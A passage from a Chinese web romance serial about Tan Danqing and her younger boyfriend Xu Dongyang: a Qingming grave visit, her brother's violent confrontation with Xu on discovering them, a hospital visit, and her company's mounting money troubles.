Leo:【刚刚睡着了,已经到XX了,估计还有半小时到站。】 Tdq:【好。我也到车站了。】 车停稳靠站,门一开,绪东阳就第一个跑了出去。他紧攥着手机,一边随时守着谈丹青有没有打电话过来,一边四处在人群中搜寻谈丹青的影子。 火车站人潮汹涌,人们拖着行李箱行色匆匆地往外走。 “宝宝!”有一对情侣抱着巨大的鲜花,硬从绪东阳身边挤过去,然后紧紧抱在一起,差点把他夹在了中间。 这叫绪东阳有点气。 挤什么呢……他还没见到呢。 “绪东阳。”就在这时,不远处一个夹着笑的,清越、脆生生的声音穿透嘈杂的人声传来。 绪东阳抬头望,谈丹青在通道口向他招手。 因她逆光站着,身影被掐得好细。 乌黑的头发蓬松地挽着,如烟似雾。 精致浅米色风衣,不曾系带,松松合在黑色半裙上,宽松之下,隐隐透出身体的轮廓,亭亭玉立,一寸寸,一处处,都是优雅动人。 绪东阳的心在这一刻,结结实实地漏跳了一拍,不管不顾地朝谈丹青奔跑过去。 “诶诶诶,这位旅客,火车站不要跑啊。”工作人员出声制止,但在看到绪东阳和谈丹青抱在一起的时候,也只是长叹了口气。算了算了,年轻人嘛…… 谈丹青几乎被绪东阳撞得往后退了半步。 她缓了缓,等骨头上那股巨大的冲击力褪去后,也笑着搂住了绪东阳。 脸颊贴在他带着室外微凉气息的外套上,鼻尖萦绕着他身上干净清冽的味道。这种拥抱舒服、也踏实。 绪东阳头抵在她肩上,仿佛要将她所有的气息都刻进肺腑。结实的手臂环抱着她,宽阔的肩膀将她完全笼罩,形成一个密不透风的、只属于他们两人的世界。 谈丹青感受到他身体的微微震颤和颈间灼热的呼吸,心软得一塌糊涂。 她反手,指尖温柔地穿过他后颈短短的发茬,轻轻抚摸着,带着安抚的意味,故意用轻快的语气调侃:“喂,不会哭了吧。” “没。”闷闷的声音从她颈窝传来,带着点不易察觉的鼻音,却将她搂得更紧了些,坚实的胸膛紧贴着她,轮廓分明的下颌线条蹭过她的脸颊,传递着令人安心的热度和力量。 被绪东这样紧紧抱着,谈丹青连日来的疲惫和紧绷似乎奇迹般地消散了许多。 他身上有种让人安定的力量,像一座沉默而可靠的山。 古诗里说的风雪夜归人,大概就是这种感觉。无论外面风雨多大,总有这样一个温暖的怀抱在这儿。 她在绪东阳怀里微微仰起脸,看着他近在咫尺的俊朗眉眼,朝他更近地贴过去,说:“抱抱。” “嗯。”手臂再次收紧,几乎是将她提抱了起来,让她纤细的身体完全契合地嵌在自己怀里,脚尖微微离地。 “阳哥抱。”他有点嚣张地说。 谈丹青被他这模样逗乐了,噗嗤一声笑出来,伸手捏了捏他硬朗的下巴,逗他:“啧,年纪小的,是不是都喜欢装老大啊,阳哥?” 绪东阳也不同她争辩,低头堵她的唇。温热的、带着不容置疑气息的气息扑在她的脸颊上。 上了车,绪东阳侧身扣安全带。 谈丹青扶着方向盘,回头要倒车,她扫了绪东阳一眼,问:“你头发理短了吗?刚摸着都扎手。” 再回头,绪东阳已经倾身等着,吻在唇上。他的呼*吸急,热腾腾的气吹在她脸上,反复强调着自己的存在感。 谈丹青被他弄得喘不过气,又很想笑,唇缝溢出几声气音,说:“别闹啊,你知不知道自己多大个子?别把车给弄翻了。” “我管它。”绪东阳说。 “车你赔?” “我赔。” 谈丹青由他任性。 等他冷静些,额头相抵,看着他的眉、他的眼,谈丹青又起了玩闹的心思。 她一面睨他,一面悄悄用手指往他身上乱戳,也不确定究竟有没有戳到。 绪东阳却反应极大,差点原处弹了起来。 他按住她的手,“谈,丹,青。”几乎是从牙缝里挤出她的名字。 有点凶巴巴的,还有点委屈。 这回轮到谈丹青束手无策,“已经……石更了吗?” “我……”她结结巴巴地说:“我没做什么吧……” 绪东阳泄愤地在她肩膀上咬了一口,“你等着。” 谈丹青识相,知道绪东阳现在这样的状态不能招惹,两手扶着方向盘等他。 绪东阳重重的呼吸响彻在她耳边,也撩得她有些心猿意马。 两个人静静靠了一会儿,开车先去吃饭。 “想吃什么?” “热干面吧。”绪东阳说,“挺想这个的。” 谈丹青哑然失笑,说:“哪儿能只吃热干面啊。” 绪东阳刷着手机,“再点个烤鱼,这边的烤鱼比北京好吃。等下经过火锅店门口买碗热干面拎进去。” 谈丹青输了导航,两人去吃了烤鱼。 一路上绪东阳看着熟悉的街道,终于有一种两只脚踩实地面的感觉。 吃了饭,两人回到家。刚见面时恨不得干柴烈火,这会儿反而食欲被满足,整个人就懒倦了,只想躺倒在沙发上看电视。 谈丹青枕在绪东阳怀里,把他当人肉抱枕声动遥控器。“换台,换台,换台。” 电视里放无聊的综艺,时不时冒出机械罐头笑声。 这种笑声挺诡异的,但谈丹青今天心情很好,情不自禁也跟着笑了起来。 她笑,绪东阳便垂眸看她。 唇先落在她额上,然后缓缓沿着鼻梁往下移。 “是不是瘦了点?” 他的手盖在她的小月复上,虎口丈量着她的月要。 他知道谈丹青承受着巨大的精神压力,有时候,他真希望自己能去替她。那些人要骂人要恨人,全都冲他来。 “有吗?”谈丹青在灯下微笑。 暖橘色的灯笼着她乌黑的发,雪白的脸上是浓密的黑色眼睫和艳红的唇。她身上的色彩就像她的名字,浓烈鲜明,饱和度极高,非要第一眼就刻进人的心底。 谈丹青是世界上最美的女人吗?书上说没有绝对,但在绪东阳眼里,她就是世界上最美的人。 他俯身。 吻她。 “不管发生什么,我们都一起面对吧。” 这时,谈丹青的手机响了,谈丹青伸手拿不着,于是绪东阳展开手臂,帮她将手机捞了过来。他扫了眼来电显示:“谈小白。” “哦。” 谈小白也放了假,马上回。 两人的二人世界到此为止,绪东阳倒是不怎么抱怨,毕竟躲在谈小白眼皮子底下卿卿我我,他已经是熟练工。 只是他有些贪心了,他想谈小白知道。 “你打算什么时候告诉谈小白我们的事?”绪东阳佯装随口一提,却紧盯着谈丹青的神情。 谈丹青果然愣了愣,纤眉一锁,复而舒展,“你想挨揍?” “揍呗。”绪东阳无所谓地牵唇笑笑。 谈丹青说:“就这几天吧……网上现在传得风风雨雨,他多半也听到了点风声,早晚是要告诉他的。” “你真准备说?” “真准备。”谈丹青说:“在你眼里我到底多渣……” “谈小白打电话问过我,”绪东阳说:“问你去北京的时候,有没有见我。我说没有。” “哦,”谈丹青说:“下次你就说有。” 绪东阳扬眉。 谈丹青解释:“有些事越遮掩反而显得越可疑。在他眼里,你是我弟弟,我去北京,肯定会去看你。” 绪东阳以前极不喜欢“弟弟”这个词,每次听到她这么说,都要跟她怄气。但现在,他从这个词里听到了几分温柔。 “好。”他吻她的眉,她的眼,她的唇。 62 第62章 ◎“还敢,打死我,我也喜欢你姐姐。”◎ 清明节当天天色阴沉,细雨如丝,通往墓园的小径上,空气里弥漫着湿土和草木的气息,清冷而肃穆。 李柔去世多年,过去祭拜没什么消沉的气氛,更多的是当做假期踏青散心。 谈小白以前没心没肺,谈丹青公司出问题后,开始学着多留一个心眼。一留心便发现,绪东阳在他面前压根就没打算藏,处处都是破绽。 谈丹青走在最前面,穿了件素净的黑色风衣,身形茕茕。 绪东阳缓步跟在她身后,高大的身影几乎将她整个人都笼在安全的范围里,目光几乎没有离开过她。 雨后的小道上有湿滑的苔藓,每当她步子稍有不稳时,他便立刻伸出手,稳稳地扶住她。 “小心。”他的声音低沉,以为只有她听得见。 到了墓前,谈母的墓碑静静伫立,照片上的笑容温和慈祥。 谈小白放下祭品,开始摆放鲜花和水果。 谈丹青蹲下身,拿出干净的软布,仔细擦拭着墓碑上的照片和字迹。 细雨落在她的发顶和肩头,很快洇出深色的痕迹。 绪东阳立刻将伞更倾斜地倾向她,确保她不被淋湿。他自己大半个肩膀却暴露在雨丝中。 他默不作声地从背包里拿出另一块干净的软布。 “用这个。” 谈丹青接过,点点头,继续擦拭。 绪东阳就站在她身后撑着伞,像一个沉默的守护神,替她挡去风雨,也隔绝了周围的寂寥。 谈小白点燃香烛,插好香。 他看着姐姐专注苍白的侧脸,再看看旁边那个像堵墙一样杵着、视线只落在姐姐身上的绪东阳,眉头皱了起来。 “绪东阳今天也上香么?”谈小白假装不在意地说。 “是。”谈丹青说。 “这不太好吧?”谈小白旁敲侧击,“来上香都是亲属。” “没事,来都来了。”谈丹青也不知谈小白今天怎么像身上长了刺,逮谁都要咬上一口。她递给绪东阳三根香,说:“去吧。” 绪东阳接了过来,向李柔鞠了三躬。 按理说,这种情况是该说点什么。 但他沉默寡言,口笨舌拙,总说不出柔软、抒情、能戳人心窝子的话。 思来想去,他在心里对李柔说:“伯母,请您务必放心,我一定会好好照顾丹青和小白。” 三人依次鞠躬上香。 轮到谈丹青时,她平静地看着母亲的照片,然后抬手在墓碑上轻轻拍了拍。 李柔走得太早,她跟她其实也没什么可说的。最近网上流行一个梗,女儿出了什么事,大家就会在评论区说,她的妈妈一定在天上急得团团转了吧。 谈丹青便在心中自言自语,李柔现在在天上团团转么?要是真如此,还是先别转了吧,跟财神爷说说话,看能不能帮她一把。 她没开口,但绪东阳在她身旁却清晰地感受到她身体一瞬间的紧绷和微微的颤抖,他扶了扶她的肩膀。 谈丹青侧头看了他一眼,眼底有微光闪动,带着复杂的情绪。 回程是绪东阳开的车,谈丹青上车不久就靠着车窗睡着了。 等红绿灯的时候,绪东阳抬指调整了空调出风口的方向,避免冷风直吹她。 这动作基本不用过脑子,已经像条件反射一样。 他闻到了她头发的香味儿,情不自禁深吸口气。 坐直回去时,他对上了后视镜里谈小白的眼睛。 谈小白从后视镜里默默看着这一切。 绪东阳做这些的时候,动作娴熟自然,眼神专注温柔,哪里是什么“弟弟”? “你清明不回自己家?”谈小白问。 “不回,”绪东阳说:“我全家都去澳大利亚了。” “哦。”谈小白说。 * 晚上,等谈小白睡下了,谈丹青和绪东阳两人在卧室靠在一起夜谈。 谈丹青叼了一根丹草棒,咬下一半,被绪东阳抢了过去,两人分着吃了一根。 聊到公司的事,谈丹青开口说:“挨骂真没什么,那是小事,主要压力其实是钱。” “钱?” “对,”谈丹青说:“另起炉灶以后所有曝光渠道都要重新搭建,这些都是钱。我仓库里还有一匹库存没有消化掉,工厂老板跟我关系不错,他知道我的事,愿意帮我把时间推迟,但那都是钱……” “要多少?”绪东阳问。 语气极其认真。 “你今天问好多哦!”谈丹青不想跟绪东阳谈钱。 绪东阳在钱上,帮不了她,跟他说了不过是一个人烦恼变成两个人烦恼。 而且谈恋爱就谈恋爱,谈恋爱就是风花雪月,谈钱做什么,谈钱伤感情。 她白皙的脚尖踏在绪东阳紧实的月匈口上,趾高气昂地像埃及艳后,说:“过不过来?不过来就出去。” 绪东阳缓缓握着她的脚踝,虎口摩挲。 他的手,大而厚,抚摸她的皮肤,像是要环上一对粗糙的脚铐。 干燥单薄的嘴角碰了碰她脚踝突出的骨头。 她的脚下意识地蜷了蜷,想往回缩。 这时候绪东阳就彰显出了他的强硬,手掌死死钳着她,往回拖,像年轻的兽按住打算拆股入腹的猎物。 这地方于他而言是温柔乡是缠丝洞,里头飘荡着的每一丝每一缕空气,都是谈丹青身上的体香。那些气味无声无息地刺激着他,令他回归原始的冲动。 “大概要多少钱?”他接着问,“几百万?几千万?” 谈丹青叹了口气,说:“几千万不至于,但几百万是要的。” 绪东阳沉默。 谈丹青嗤笑了一声,晃了晃手腕,那块绪东阳送给她的昂贵手表在夜色里熠熠生辉。 “是不是不当家不知柴米贵?你看你,多败家。等我没钱的时候,都给你卖了。还有这个房子……” 她眨了眨眼睛,环顾她的小家。这是她最后一张底牌,如果真的资金链断链,这个房子能最后救她一把。 她心中涌上感慨,当年踌躇满志地搬进来,如今可能如丧家之犬一样搬走。谁看了不说一句,人生才是最好的编剧? 这个念头太痛苦,谈丹青不想多想,她故意轻轻晃着小腿,眯着眼睛乜绪东阳,问:“想做吗?” 那对小腿白如暖玉,线条动人,晃动时如明月入怀。 “今天……可以吗?”绪东阳却迟疑。 “今天?今天怎么了?”谈丹青说:“我在安全期。” “不是……”安全期这个词让他双眼发暗,绪东阳顿了顿,说:“今天清明,我……刚见过伯母。” 谈丹青听完愣了愣,然后忍俊不禁地笑了起来,笑得乱抖。 怎么顶着这么一张硬朗英挺的脸,说这么纯情的话。 “如果我说禁欲的话,就不做了?你真不想?”她故意乱碰他,像只没有骨头的妖姬。 绪东阳看着她,沉沉地回答:“如果只会我遭报应就做,你遭报应就算了。” 这句话莫名让谈丹青有些动容,指腹隔着衣料,传递着温热的安抚。 她凑过去吻了吻他的下颌,说:“还是做吧,我也想做。” 她靠近。 他便托住她。 拥抱。 亲吻。 每个人都是孤零零的独立的一个,似乎只有和另一个人紧紧地撞在一起,撞得太深甚至有些过痛,才会觉得和这个世界产生了无法割舍的联系。 这种巨大的快乐刺激着神经,能够让她短暂的忘记所有烦恼。 那是人在合法范围内能接触到的最大的欢愉,每一次攀登,都如同往血液里注射了毒.药,瞳孔放大、血液加速,仿佛身处一场不会停歇的盛宴,只有兴奋、欢愉、激动,只要高举双手,就能摘下星星和云…… 荒唐之后,窗外的月色好像还保持着刚才的韵律,剧烈地晃。 天幕好像要掉落下来。 谈丹青深陷在被褥里,每一口呼吸都透着熟透了的苹果的甜。 绪东阳坐了起来,背对着她,在夜色里穿衣服,布料声窸窸窣窣。 谈丹青费力地抬起眼皮看他,那宽阔的后背上布满了深浅不一的抓痕。她想她的身上大概也有类似的痕迹。 “你这会儿还要下楼啊?”她懒洋洋地拥着棉被,饶有兴趣地问。 “嗯。”他过来俯身吻她,说:“小白还在楼下。我明早下去,怕被他知道。” 谈丹青点了点头。 绪东阳突然问:“如果谈小白不答应,你选我还是选他?” 谈丹青被问住了。 看起来怔怔的。 谈小白,是她相依为命的弟弟,是她世界上唯一的亲人。 可是绪东阳,又是她最喜欢的人。 绪东阳不想为难她,说:“我下去了。” 将谈丹青在卧室安顿好后,绪东阳无声地从卧室出来,他极少在她的房间里逗留。 他走下楼梯,回味方才这段短暂的亲密,她眉宇里流露出的温柔,她的身体、手臂、指尖,与他若即若离的触碰,还有她身上的淡淡的体味,她入睡后小巧鼻翼间传来的平静的呼吸。他的身体直到此时,都有一股压抑不住的颤抖。 这时一声台灯按钮拨动的声音,打破了夜色的寂静。 他抬起头,谈小白沉着脸坐在他对面的沙发上,纹丝不动地盯着他。 绪东阳宛如当头棒喝,大脑陡然陷入一片空白。但这片空白仅仅维持了一瞬。他很快便镇定下来,甚至有一种正中下怀的轻松。他早就想昭告天下了,告诉所有人,是,没错,他就是谈丹青的男人,想怎么样? “怎么坐在这儿?”绪东阳沉声问。 “我为什么坐在这儿,你不知道?”谈小白反问。 “有事?”绪东阳说。 “绪东阳,你有没有把我当兄弟?”谈小白再问。 “当。” 谈小白面容气得微微扭曲起来,“好好好,好好好……” 绪东阳隐隐猜到谈小白可能已经知道什么,但他不确定谈小白知道哪一步了。他冷静地缓步下来,给自己倒了杯水喝,边喝边问:“什么时候知道的?” 台灯被拔断电线,电波在黑暗里拉扯出一道闪光。谈小白将台灯冲绪东阳猛地砸去,破口大骂:“你他妈在车上偷偷闻我姐头发的时候,我他妈就知道了!” 台灯准头偏移,在绪东阳脚边炸开。 谈小白一脚踏过茶几,跃到了绪东阳面前。 他拎起绪东阳的衣领,抬手就往他眼眶上一抡,“我他妈拿你当兄弟,你他妈想当我姐夫。” “我姐也他妈是你个小.逼.崽子能肖想的吗?” “全世界,谁勾引我姐我都不会这么生气,就你绪东阳不行!你绪东阳最该知道我姐人有多好!当初她给你吃,给你喝,给你地方住,供着你他妈的上了T大,你个狗东西,就打这主意?” 拳头雨点一般击打在绪东阳身上脸上。 “我知道。”绪东阳说出这三个字。 他知道谈丹青有多好,他知道谈丹青有多不容易。 所以他才这么想拥有她,想保护她。 “狗东西还敢说!”绪东阳的回应无异于煽风点火。 谈小白两眼通红,发狂似的揍他。 网上那些污言秽语,是他脑子里挥之不去的心结。 那么多人因为绪东阳骂谈丹青。 骂谈丹青恋童.癖、欲求不满到对未成年人下手,老女人吃嫩草……一句比一句难听。 而这些全都拜绪东阳所赐! 难道绪东阳不知道自己和谈丹青在一起会给谈丹青造成这样的困扰吗?他一个T大生,想不通这个? 他就是知道,知道得清清楚楚,但却依然这么做。 因为他压根不在乎,他就只想自己爽一把,然后拍拍屁股走人! 他姐今年二十五了啊! 绪东阳才多大? 等绪东阳大学毕业,谈丹青都快三十了。 无论现在舆论风向怎么变,有的偏见却不会变。 三十岁的女人面临的社会,和三十岁男人面临的社会,不是一个社会。 到那个时候,他绪东阳难道真会娶他姐这个已经三十岁了的女人? 男人最了解男人,不,他不会! 到那时,他只会装出一副痛心疾首的样子,感谢感谢他姐陪伴了他整个青春,然后立刻去找更加年轻貌美的女孩儿组成家庭。 到时候他姐怎么办? 他姐活该吗? 心肠好,就该被当成日本人整? “还说不说?!”谈小白一边打一边大声骂,“还说不说喜欢我姐?” “还敢不敢喜欢?” “还敢不敢喜欢我姐?” 绪东阳从高中练拳,在俱乐部是拳王,在校拳击社是社长,谈小白在他面前跟小鸡崽子差不多。 他们第一次打架,绪东阳一拳就让谈小白脑袋开了瓢。 但这次,他却让谈小白骑在他身上打。 污血从他的碎发里流了出来,沾在纤长的睫毛上,但绪东阳一下也不还手。 “还说不说?” “还敢不敢说喜欢?” “还敢。”绪东阳的回答掷地有声。 血滴进了他的眼睛里,于是那双眼睛比血本身还要鲜红。 他仰面,一瞬不瞬地望着谈小白,一字一顿地说:“还敢。” “就算你打死我,我也喜欢你姐姐。” 谈小白再次高举的铁拳顿住了。 他看着绪东阳,满眼不可思议。 绪东阳这张沾满了血污的,双眼通红的英俊脸,让他看起来就像一个偏执狂、一个疯子。 他不禁想到那年高中时他们住在一起夜谈的场景。 他敞开心扉跟他讲他姐多好多好,怎么把他拉扯大。他以为自己太啰嗦,而绪东阳就耐心地静静听着。 那时绪东阳心里究竟在想什么,是不是在想肮脏龌蹉下作的事? 还有他姐放在房间里的那些内衣…… 谈丹青有时候的确不太讲究,东西会到处乱放。 绪东阳有没有偷走过? 偷走之后有没有偷偷拿着做些什么?有没有偷偷闻过?像现在偷偷闻她的头发。 这些念头让谈小白想吐,他姐究竟是被什么人给盯上了?阴暗地被惦记被意.淫这么多年。 “疯子,疯子……”谈小白喃喃自语,疯了似的疯狂挥拳,拳拳到肉。 “你家根本就没吵架吧?” “你当年根本就不是被赶出来的吧?” “你到底惦记了我姐多久?” “疯子!疯子!!” “够了。”这时二楼卧室房间门被拉开,谈丹青面无表情地站在门前。 她两臂抱在胸前。 垂眸往下看,瘦削的肩膀似乎微微在颤抖。 “姐……”谈小白停下了殴打。明明,他是那个动手的人,但他此时却一脸委屈地看着她。 那双眼睛,还跟他只有四岁的时候一模一样,水汪汪的,可怜巴巴,满心满眼都是她。 沉静的目光扫过鼻青眼肿的绪东阳,没什么多余的情绪。 “包递给我。”她对谈小白说,然后背对着绪东阳说,“我带他去医院。” 63 第63章 ◎我选你◎ 晚上八九点钟的江城,交通异常顺畅。 车窗外的霓虹灯晕染开一片迷离的光晕,飞快地向后流淌。 谈丹青双手紧握着方向盘,载着绪东阳驶向最近的医院检查。 急诊室任何时候都是这般灯火通明,人声嘈杂。 一名护士在混乱中过来检查绪东阳的伤。 绪东阳主要伤在眼眶和颧骨,看着吓人,但多是皮外伤,并不严重。 “头疼么?”护士轻轻按压他的眉骨和眼眶边缘,判断是否存在骨折的问题,“想不想吐?看东西有没有重影?” 绪东阳摇了摇头。 “那应该没有脑震荡,”护士将黑色水性笔别回了胸前口袋,摇头叹气:“年轻人,做事不要这么冲动啊,打成这样……” 双氧水简单冲洗伤口后,沾着红色药水的棉签按在伤处,一阵钻心的痛楚传来,绪东阳浑然不觉。 他的视线越过护士的肩膀,不错一下地,固执地锁定在不远处的谈丹青身上。 谈丹青侧对着他,瘦削的肩膀微微佝着,倚着一张无人的白色病床。 她微微低头,目光虚浮地落在走廊反光大理石地面上,像一尊通透的白玉雕像。 她似乎都不肯扭头,去仔细看一看他脸上伤。 处理好伤口,谈丹青带着绪东阳回车上。 还是她开车,他坐副驾驶座。 一路无话。 车在一家酒店门前停稳,谈丹青双手扶方向盘,默了一瞬,才开口:“今晚……别回去了。” 绪东阳猛地回头。 他的眼眶还肿着,一枚创可贴横在凌冽的眉骨上,让那道眼神带着狠劲儿。 但如果透过那股虚张声势的野劲儿望向眼底,便会发现,这双眼睛正往外渗出湿漉漉的水雾。 犹如丧家野犬。 “什么意思?” 这眼神让谈丹青心头一刺,喉咙发紧。 事到如今,她实在不知该说什么。 她心中太乱。 当心头的事堆积得过于多的时候,反而会变成一片空白的茫然。 “对不起,我先替小白向你道歉。”她深吸口气,压下翻腾的思绪,“你先听我说,这几晚你先住这儿。等我回去跟小白好好聊一聊。好吗?” 绪东阳依旧沉默。 只是那双泛红的眼睛钉死了她。 硬朗的眉骨处,那枚创可贴的边缘,又悄然洇开一小片暗红的湿痕。那抹刺目的红,在车内昏暗的光线下,像一道新鲜的伤口。 谈丹青轻轻叹了口气,捧上少年英俊的面庞。然后,她微微倾身,一个极轻、极快的吻,如同羽毛拂过,印在他渗血的眉骨上方、紧蹙的眉心之间。 那触感微凉,带着她唇上淡淡的润泽,一触即离。像一片雪花落在滚烫的烙铁上,瞬间消融,只留下一点转瞬即逝的温润。 这个她用来告别的吻,却变成了绪东阳冲击胜利的号角。 他猛地张开手臂,不管不顾地将她整个箍进怀里。力道大得惊人,勒得她肋骨生疼,几乎喘不上气。下一秒,他托着她,不由分说地将她抱离座椅,按坐在自己腿上。不等她反应,昂起头,重重地吻了下来。 狭小的车厢瞬间被药水的刺鼻气味填满,混合着他身上少年特有的汗味和一丝血腥气。 车窗外,人影车流模糊晃动,引擎声、谈笑声像是隔着一层厚厚的毛玻璃,遥远而不真切地嗡鸣着。 谈丹青全身的血液仿佛在这一刻凝固了。大脑一片空白,手脚僵直冰凉。这个吻太浓烈,太炽热,像仲夏的骄阳,蛮横地灼烧着她的感官,几乎要将她意识里最后一点清明也蒸发殆尽。 一股强烈的酸意毫无预兆地冲上鼻腔,逼得她紧闭的眼角渗出了点点湿痕。不是悲伤,更像是被这汹涌到令人窒息的爱意狠狠烫伤的本能反应。 过了许久,久到肺里的空气快要耗尽,她才找回一丝力气。那只无意识揪住他肩头衣料的手,终于缓缓松开,带着一种虚脱后的绵软,轻轻拍了拍他绷紧如岩石般的肩背。 绪东阳松开她,额头相贴,轻轻舔着她的唇。 呼吸纠缠里,谈丹青说:“好了好了。” * 等谈丹青开车回家,已经是夜里十二点。 谈小白还保持着她带绪东阳出去时的姿势,枯坐在客厅沙发上等她。 听到开门声,谈小白怔怔地抬起头,第一时间望向谈丹青的身后。 那道总是沉默无声笼罩着她的影子此时却不在那里,绪东阳没有回来。 “他人呢?”谈小白收回盯着谈丹青后背的目光,问道。 “我让他今晚住酒店了。”谈丹青的声音有些飘,带着不易察觉的疲惫,“不管怎么说,你今天也不该打人。” “姐……”谈小白在她面前站了起来。 一晃眼,谈小白也已经十八岁了,直立在她面前,像一座巍峨的小山。 这一声“姐”,他先红了眼眶,声音哽在喉咙里,带着浓重的鼻音说:“姐,你到底怎么想的啊? “你看看啊……” 他掏出手机,点亮屏幕,摔在桌面上。 上面全是不堪入目的污言秽语。 “都跟你说了,不要看网上那些话,”谈丹青淡声说:“我公司现在有点事,我打算另起炉灶,所以被人搞了。就算今天不是绪东阳,我交别的男朋友,他们也会这么骂,你当这是一群疯狗在发疯就好。” “你如果今天交的是别的男朋友,我一个字都不会说!可绪东阳不行!” 谈小白抬高音量,几乎大吼着说:“绪东阳他是什么人?他就比我大一岁!我们这种半大不小的男生是什么东西,你难道真的不知道吗?” 他像是点燃了,语速越来越快,胸膛剧烈起伏:“他就是图你漂亮,图你有钱。同龄人睡了可能会被缠上,但跟你在一起,玩了还不用负责任。 “可是他玩就玩了,玩完后拍拍屁股就走,没人会说他一句不是,甚至还会夸他崇拜他羡慕他,会在背后说,还他妈是绪东阳有本事,连这种极品都能睡到。可是你怎么办啊? “姐……你怎么办? “姐姐……” 说到最后,谈小白几乎泣不成声。 他是被谈丹青拉扯大的。他忘不了小时候谈丹青背着他到处跑,她背人的时候,真的很不稳当,他挂在上面,摇摇欲坠,总要担心会不会摔死。可谈丹青让自己摔得膝盖血流如注,也绝不会让他摔倒。 他永远记得,他趴在她的后背上,视野范围内,是谈丹青润白的耳垂和白皙脖颈上缠绕着的乌黑的发丝。 从小他就在心里暗暗发誓,要保护谈丹青,要爱护她,要让她不用再吃一丁点苦。他以为只要他长大了,他的誓言就会实现。他怎么会想到,自己带回家的兄弟,竟然变成了入室的狼。 巨大的愤怒像潮水般将他淹没,他再也支撑不住,双膝一软,“咚”地重重跪倒在冰冷的地板上,“姐,我求你了,你别跟他这种人在一起。那些唾沫星子能淹死你一辈子,姐,我求你了……” 谈丹青垂着眼,不知在想什么,半晌,撩起眼皮,那双眼睛里空茫茫的,深不见底。 她伸出手,动作带着一种停滞的缓慢,轻轻落在谈小白凌乱汗湿的头顶,掌心微凉,声音轻得像叹息:“今天太晚了。去睡吧。” 谈小白被那声轻飘飘的“去睡吧”钉在原地,无力感裹挟着未尽的哭腔,但他看到姐姐眼底那片深不见底的疲惫,最终也只是狠狠抹了把脸,踉跄着回了房间,沉重的关门声在寂静的夜里格外刺耳。 谈丹青在原地站了很久,直到客厅里最后一点声息也沉入黑暗,她摸索着走到窗边,冰冷的玻璃贴着额头,窗外是城市永不熄灭的灯火。 她做不到现在就和绪东阳分手。绪东阳是她的药、是她的糖、是她的充电宝,是她被压得要喘不过气的时候的一瞬喘息。可同时她也清醒的知道,谈小白的担忧不无道理。 公司那摊烂事像巨大的阴影笼罩在头顶,压得她喘不过气。这个时候去细想自己的感情,太奢侈了。她不知道接下来要做什么、能做什么。她只能假装自己是一只鸵鸟,无限期地拖延下去。 她拿出手机,指尖悬在绪东阳的名字上方,停留了很久。最终,她只是发了一条极其简短的微信: Tdq:【我跟谈小白谈过了,他现在还不能接受,但我会想办法劝劝他。】 绪东阳几乎是秒回。 Leo:【好。】 Tdq:【伤口还疼吗?】 Leo:【不疼。你早点睡吧。】 Tdq:【嗯。】 Leo:【我这几天就不过来找你了,周五我回学校。】 Tdq:【好。我送你。】 Leo:【不用。】 过了一会儿,绪东阳发来消息。 Leo:【好好照顾自己。我在这儿,一直都在。】 绪东阳一直守着屏幕,直到那微弱的光彻底暗下去。 在他和谈小白之间,谈丹青选择了他,但他并没有预想中的欣喜若狂。 他更觉得自己需要做些什么,来证明自己是真的可以依靠的。 他不想做那个给谈丹青带来暴风雨的人,他想做那个能为她抵挡一切暴雨的人。 钱。 这个念头像魔咒,在他脑子里疯狂盘旋、膨胀,最终塞满了所有空隙。 谈丹青需要钱,很多很多钱。只要他能弄到钱,那些压得她喘不过气的麻烦,是不是就能烟消云散? 他在通讯录里快速翻找,然后戳开了一个名字。 Leo:【北京这边的场子,还缺人?】 老费:【嗯?嗯?嗯?】 老费:【?你不是金盆洗手,要当乖学生了?】 Leo:【急用钱。价照旧?】 老费:【对。】 Leo:【再加十万。】 老费:【嘶……小子够狠!成!不过加十万的‘节目’,可就不是小孩过家家了……】 Leo:【OK。】 屏幕暗下去。 有些事,说来可笑。 决定让他离开八角笼和让他回到八角笼的,最后竟然是同一个人。 * 日子就在这种刻意维持的、胶着般的疏离中过去。 剩下的两天清明假期,绪东阳再也没有出现在他家。谈小白松了口气,但又敏锐地察觉到谈丹青的心情似乎更差了。 她有时候会看着手机走神,听不到他在说什么。他心中有些失望,但又觉得,只要他们不联系,这份感情就会淡下去。等谈丹青彻底走出来后,她就会发现和绪东阳分开是一个多么正确的决定。 转眼间,清明时节的料峭春寒早已褪尽,空气里开始浮动着粘稠的暑气。 江城正式迈入了盛夏。 而公司的情况,却比谈丹青预想中最坏的打算,还要恶劣得多。 “钱已经不够了,”郑芳把一份报表推到谈丹青面前,声音干涩,“缺口比我们上次预估的还要大。我去找我爸周转过,杯水车薪,根本补不上……” 新公司被围追堵截,资金周转压力、舆论压力、库存压力……这些压力攒到一起,最后就是一个“钱”字。 为了补资金缺口,谈丹青想了很多办法。往日风光时,她待人不错,算得上真诚。人心都是肉*长的,做得好,大多数人都记在心里,能帮一把的都愿意帮她。 广东这边的厂子老板知道她有难处,给她再三推迟了结款日期。但做实体业利润微薄,人家老板头上也顶了巨大压力,一推再推,他那边也吃不消,谈丹青深知必须尽快弄些钱来。 她又找几个朋友借了一点,方晏当初没追上她,如今她遇了难,他还是大大方方地拉了她一把,甚至说:“不用赶着还,当你结婚,我给你包的红包。” “我一定会还你的。”这钱谈丹青不可能不还,她心里清楚,靠着人情吃饭,不是长久之计,这些钱最后不仅是债,更是人情债。 绪东阳跟她聊天报备每日行程的时候,也说他留在家里的那张亲属卡里有钱,好几十万,不算多,但必要时能救个急。 谈丹青怎么可能拿绪东阳一分钱?这简直是要她的命! 若是以前,她早将银行卡砸他脸上了。 可如今,她一抬头处处受阻,一分钱都能拦倒她,说不出口这钱她看不上。 “你一个学生,上哪儿攒的钱?”谈丹青问。 绪东阳说:“我找家里要的。” 谈丹青无可奈何地苦笑。 她知道绪东阳家里很有钱,但也知道绪东阳和他父母关系非常冷淡,要绪东阳低头去找他们要钱,他所承受的压力一定也巨大。 她故作轻松,开了个玩笑:“看来必要时候,还是要靠爹啊。我暂时用不上,如果我用了,我会还给你的。” “嗯。随你。” 这晚又有饭局,谈丹青本没心情去凑这个热闹。 她风光不在,去了多半要被人嘲讽。可她又不能放过任何能弄钱的机会,只能硬着头皮过去。 包厢里觥筹交错,一眼扫过去,多是男老板,好几个脸熟的。 这些人在网上见过她的照片,看她的目光不约而同地位置偏下。 谈丹青懒得在意,笑盈盈地进来,说:“怎么不等我就开始了?不够意思啊。” “怎么会不等谈老板就开始?”做东的哈哈笑了起来,说:“今天小谈老板才是角儿。” 